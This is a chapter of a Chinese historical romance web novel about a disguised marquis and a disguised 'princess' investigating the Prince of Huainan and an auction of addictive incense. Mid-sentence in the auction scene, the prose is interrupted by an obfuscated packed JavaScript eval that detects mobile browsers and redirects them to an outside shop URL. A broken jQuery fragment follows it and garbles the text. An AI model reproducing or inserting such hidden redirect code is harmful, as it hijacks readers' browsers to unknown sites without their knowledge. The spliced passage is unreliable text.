到达淮南时已是快入夜时刻,找了一家客栈,却被告知只剩两间房。
宋佑安和温亦之身为夫妻,理应住一间。
但那也只是理应上,本质上,两人也只不过是公主和臣子的关系。
但是话又说回来了,反正最后两人还是住进了同一间客房。
客房里面只有一间大床,地板又那么硬,最好的办法就是两人一同睡在床上。
温亦之睡里侧,宋佑安睡外侧。
莫名的睡在温亦之身边,宋佑安难得的心神安了下来。
不知是不是因为今日舟车劳顿,温亦之早早睡去。
宋佑安看着已经进入熟睡的温亦之,小心翼翼地用手指勾住他的发丝尾端。
正在熟睡中的温亦之睫毛一颤,不经意的翻过身,正对着宋佑安。
宋佑安顿时警铃大作,赶忙松开,假装早已睡着。
昏暗的月光下,面容看不太清。
要不是知道她的娘子是公主,宋佑安会以为躺在她身边的是个男子。
但怀疑的种子一旦被种下,那过往的点点滴滴便会随之缠绕在脑海中。
但她家娘子除了强壮一点,身高高了一点,前胸后平了一点,哪儿哪儿都像是姑娘家。
除非抛开她那艳丽的容貌,当然完全抛不开。
突然宋佑安似乎想到了什么,要是连她都这么想,那她娘子莫不会在京城贵女圈被嘲讽?
宋佑安试想了一下那个场景。
贵女a:“你们看那三公主又强又壮,哪里有一点贵女的样子。”
贵女b:“公主生的人高马大,也不知道未来会嫁给什么样的夫婿。”
温亦之不语,只是一味的垂眸落泪。
……
宋佑安赶紧把脑子里的画面给弄出去,暗自下定决心找郎中给他家娘子,多弄点补身体的药膳。
第二日一早,温亦之醒过来时,身旁早已没了宋佑安的身影。
摸了摸床塌一片冰凉,说明早就醒来出去了。
今日用早餐时的氛围奇怪至极,不仅比往日的早上丰富了许多,还添加了许多补身体的药膳。
温亦之不解地看向宋佑安:“听闻侯爷身体历来强健,今日怎的…多了这么多补身体的药膳?”
宋佑安一边吃一边给他盛了一碗汤:“这些补身体的药膳,是给公主你的。”
温亦之:“?”
秦柊:“?”
温亦之和秦柊同时转向,还在吃饭的宋佑安,久久沉默不语。
宋佑安一脸我懂的表情看向温亦之:“我都懂,公主。你放心,我不会那样对你的。”
说完还一脸坚定的对着他点了点头。
温亦之:“……我想侯爷怕是误会了…”
宋佑安:“不必多说,我都懂。”
……
出发办事之前,宋佑安再三对温亦之嘱咐不要让他乱跑。
又给温亦之安排了几个武功好的侍卫,在确认无碍后才出发办事。
宋佑安和秦柊来到一间隐秘的巷子口,往右边的墙上敲了三下,墙砖被移开。
“西门口的桂花树开花了没”
“东门口的桂花树开花了”
暗号对接成功,旁边的石门缓缓被移开,露出里面的暗门。
再三确认周围没人后,两人一同走进了暗门。
在两人进去以后,一个商贩慢悠悠路过旁边,随后往他们住的客栈走去。
从暗门一路走到一处宅子下面,在那间宅子里面,宋佑安换回女装。
最后在宅子门口坐一辆马车,前往嘉禾郡主的府邸。
……
鹤鸣回到客栈时,温亦之早已换回了男装,正坐在上手,两旁站满了自己的人,正在说自己探到的情报。
宋佑安安排给的那些人,陪着假的温亦之逛街去了。
鹤鸣跪在地上,给温逸之讲自己刚刚所看到的一切:“暗号我没听清楚,他们太谨慎了。但可以确定的是,那边有一处暗门,驸马爷和他身边的那位副将一起走进了那道暗门。”
温亦之坐在上首,深黑色锦袍,显得整个人冷漠又不近人情。
现在的他像是高高在上的掌权者,随意的转动着手里的匕首,声音也不似往常那般压着:“让鬼愁继续跟着他们吧,鹤鸣和月华跟着我下午去花醉阁一趟。”
“得令,主子”
……
嘉禾郡主萧如月手里正抱着一只狸奴,姿势慵懒地躺在贵妃榻上,看到宋佑安终于换回了女装,快速几步走上前围着宋佑安不停的感叹。
“瞧瞧,这哪家女娘生的这般貌美,原来是我们家映书啊。”
宋佑安脸上的塑形膏早已被卸得一干二净,恢复了往日的小巧精致,杏眼弯弯,甜甜的叫眼前穿着华服的女子姐姐。
“姐姐就别取笑我了,要说生的貌美,我看清棠姐姐那才叫貌美。”
萧如月一个眼神,身边原本伺候着的婢女全都退下,院落里只剩下两人。
萧如月又靠回床榻上,宋佑安从袖子里抽出一张信封,递给萧如月:“这是我安排在淮南王身旁的人,偷出来的淮南王私贪朝廷赈灾粮的证据。”
萧如月看着手里的那封密信,眼神亮得惊人:“露出尾巴了,淮南王世子今晚会出现在花醉阁,倒是你和你身边的侍卫把他绑过来。”
宋佑安有些不解道:“为何要把世子绑过来!”
“花醉阁里在贩卖一种奇香,闻一次便会上瘾,千金难买。你等他把那奇香买下之后绑过来,我倒要看看究竟是何等奇香,竟可以让人离奇死亡。”
花醉阁不愧是金窟瑶,高三层,木头都是难买的紫檀木。
能来这里的人,不是富商巨贾就是达官显贵。
二楼的雅间里,温亦之脸上戴着面具,看到早已改头换面的宋佑安和秦柊走进来,眯了眯眼睛。
“月华,仔细盯好刚进来的那两人。”
“殿下可是察觉到了什么?”
“那女子倒是生得与侯爷极为相似,整理衣饰的小动作也与侯爷一模一样。”
正在观察四周的宋佑安感受到上面投来的目光,抬起头和二楼的温亦之四目相对。
只一眼,温亦之迅速移开视线,不在窗边逗留。
宋佑安久久盯着那间雅座:“公主在淮南,可否由族亲?”
“这属下不太清楚,但听说宸贵妃母族曾在淮南。”
“公主现下在何处?”
宋佑安和秦柊找了个不太起眼的角落,用团扇遮住面孔,眼神却盯着前方的淮南王世子——温松玉。
“听闻公主在各大铺子间闲逛,买了好多衣裙和装饰。”
宋佑安听闻垂下眼眸:“但刚刚我见到了一位长相酷似公主的人。”
秦柊:“!”
宋佑安又看了一眼二楼雅座的方向:“但那个人却是一位公子,不似公主那般不染尘埃,那人身旁的戾气很重。”
“无论看谁都像是在看死人。”
“候爷,是否要派人去探查一番?”
“先不着急,等明日我问问公主。”
台上的舞姬退去,一位戴着面具的女子登场:“欢迎各位来到花醉阁,一月举办一次的奇香宴。本月的安神香,还是十瓶。出的价钱越多,能买到的安神香也越多。”
“花醉阁的奇香宴正式开始!”
随着话落,又有两名婢女手里捧着托盘,走上台。
“各位贵人
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17914370|213265||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,可以开始出价了。”
听闻此话,台下一阵躁动。
“一千量银子”
“我出两千!”
“我出两千五百!”
“一万,本世子全要了。”
全场安静了一瞬,齐刷刷看向淮南王世子,淮南王世子旁边依附着两位美人,正柔弱无骨的靠着他。
但台下也只是安静了一瞬,随后又躁动起来。
慵懒的男声从二楼传来:“两万。”
“谁敢和本世子抢!”
温松玉有些恼羞成怒的看向二楼,隔着帘子,谁也看不清幕后坐着的人是谁。
宋佑安的脸色不太好,如果是二楼那人也要这瓶奇香,那能够带走奇香的概率将大大减少。
“没想到竟然有人比世子爷还阔绰”
“也不知,那间雅座之后究竟是何人。”
“莫非是富商王家?”
“王家大公子好久都一病不起了,怎么可能在这。”
“世子平时不是很刁蛮无礼吗?怎么如今……”
“莫非是连这点银子都拿不出来?”
人群中荡开一阵笑声,刺的温松玉太阳穴一阵一阵疼。
“都给本世子闭嘴!五万,我今日全要了!”
众人虽面上不显,但心里却还是有股怒火,这淮南王世子越来越无法无天了!
面具女子娇笑着走到世子身边:“还是世子爷大气,放眼整个淮南,也只有您这么的出手阔绰。”
听见这话,温松玉的脸色才稍微变好点:“知道就行,这淮南啊,还是得本世子说了算。”
众人低声应和:“是啊,还是世子大气。”
温亦之坐在幕帘后,冷眼旁观着台下的一切:“淮南王…怕是这日子过得太舒坦了。”
“殿下,奇香我们不抢了吗?”
温亦之摇了摇手里的酒杯:“都说了是“抢”,还是得抢过来才有意思。”
“等会儿在外面上马车之前动手,每次这个蠢货都是最后一个才离开,做的隐蔽些。”
“得令,殿下”
……
秦柊翻开腰边的钱袋,数了数:“候爷,我们的钱怕是不够。”
宋佑安眼皮都没抬:“你侯爷我可是大晟的战神,等一会儿直接把人绑走。”
秦柊面上露出一丝为难:“侯爷,这怕是…不妥吧。这不是在边关,我们做事还须得谨慎。”
宋佑安用看傻子的眼神看他:“我真不知道该说你什么,反正等一会儿,按照我的指示就好了。”
……
书房里,炉香袅袅,皇帝看着眼前探子加急送过来的密信,垂眸不语。
“呵,我看他们能装到几时。”
太监躬身站在一旁,大气都不敢出,显然皇帝很生气。
帝王的雷霆之怒,不是谁都能够受得起。
“安排两名死士前去暗杀,如果活得下来,那朕就先不过往追究。但若活不下来,只能说是他们命短。”
暗杀谁,不言而喻。
太监心里叹了一口气,也不知那两位能不能在皇家养的死士手下逃生。
……
一名宫女神色慌张的跑进殿内,凑到宸贵妃耳边,将刚刚听到的话一五一十陈述。
“陛下为何要突然暗杀两人?”
“奴婢不知,奴婢只听闻陛下安排了死士,说不定现在已出发,前往淮南!”
宸贵妃一把把手里的茶盏扔在地上,脸上怒气未减:“我看陛下真是糊涂!半夏,你快去传信给则安,让两人务必小心!”
半夏低头领命,快速去安排,宸贵妃坐回榻上,心里总感觉一阵不踏实。
好似会发生什么可怕的事情。